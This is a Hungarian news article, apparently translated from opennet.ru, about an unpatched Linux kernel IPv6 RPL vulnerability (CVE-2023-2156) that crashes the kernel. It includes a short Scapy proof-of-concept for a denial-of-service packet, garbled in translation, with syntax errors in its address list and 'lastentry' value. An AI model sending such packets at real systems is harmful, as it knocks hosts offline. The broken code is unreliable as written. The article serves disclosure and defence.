0 napos Linux IPv6 verem sebezhetősége, amely lehetővé teszi a távoli kernel összeomlását

Információt hoztak nyilvánosságra a Linux kernel javítatlan (0 napos) sérülékenységéről (CVE-2023-2156), amely lehetővé teszi a rendszer leállítását speciálisan tervezett IPv6-csomagok (packet-of-death) küldésével. A probléma csak akkor jelentkezik, ha engedélyezve van az RPL (Routing Protocol for Low-Power and Lossy Networks) protokoll, amely alapértelmezés szerint le van tiltva a disztribúciókban, és főleg a nagy csomagveszteséggel rendelkező vezeték nélküli hálózatokban működő beágyazott eszközökön használják.

A sérülékenységet az RPL protokoll elemző kódjában lévő külső adatok helytelen feldolgozása okozza, ami az érvényesítés meghibásodásához és a kernel pánikállapotba kerüléséhez vezet. Amikor az IPv6 RPL csomag fejlécének elemzéséből nyert adatokat a k_buff (Socket Buffer) struktúrába helyezzük, ha a CmprI mező 15-re, a Segleft mező 1-re, a CmprE pedig 0-ra van állítva, akkor a 48 bájtos, címekkel rendelkező vektor kicsomagolásra kerül. 528 bájtra, és olyan helyzet jelenik meg, amikor a puffer számára lefoglalt memória nem elegendő. Ebben az esetben az skb_push függvény, amellyel az adatokat a struktúrába tolja, ellenőrzi az adatok mérete és a puffer közötti összemérhetetlenséget, és pánikállapotot generál, hogy megakadályozza a pufferhatáron túli írást.

Kihasználási példa: # A Scapy-t használjuk a csomag létrehozásához a scapy.all importból * import socket # Használja az IPv6-ot a LAN interfészről DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Socketeket használunk a csomag elküldésére sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Csomag készítése # Type = 3 teszi ezt RPL-csomaggá # A címek 3 címet tartalmaznak, de mivel a CmprI 15, # az első két cím minden oktettje tömörített címként kezelve # Segleft = 1 az erősítés indításához # lastentry = 0xf0 a CmprI értéket 15-re, a CmprE-t pedig 0-ra állítja p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses) :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Küldd el ezt a gonosz csomagot sockfd.sendto(bytes(p), (DST_ADDR, 0))

Figyelemre méltó, hogy a kernel fejlesztőit már 2022 januárjában értesítették a sérülékenységről, és az elmúlt 15 hónapban háromszor próbálták meg kijavítani a problémát, 2022 szeptemberében, 2022 októberében és 2023 áprilisában kiadtak javításokat, de a javítások minden alkalommal nem elég, és a sebezhetőséget nem lehetett reprodukálni. Végül a sérülékenység kijavítására irányuló munkát koordináló ZDI projekt úgy döntött, hogy részletes információkat tesz közzé a sérülékenységről anélkül, hogy megvárná, hogy működő javítás elérhető legyen a kernelben.

Így a sérülékenység továbbra is javítatlan marad. Különösen a 6.4-rc2 kernelben található javítás hatástalan. A felhasználóknak azt tanácsoljuk, hogy ellenőrizzék, hogy az RPL protokollt nem használják-e rendszereiken, amit a sysctl -a | grep -i rpl_seg_enabled

Forrás: opennet.ru

Hozzászólás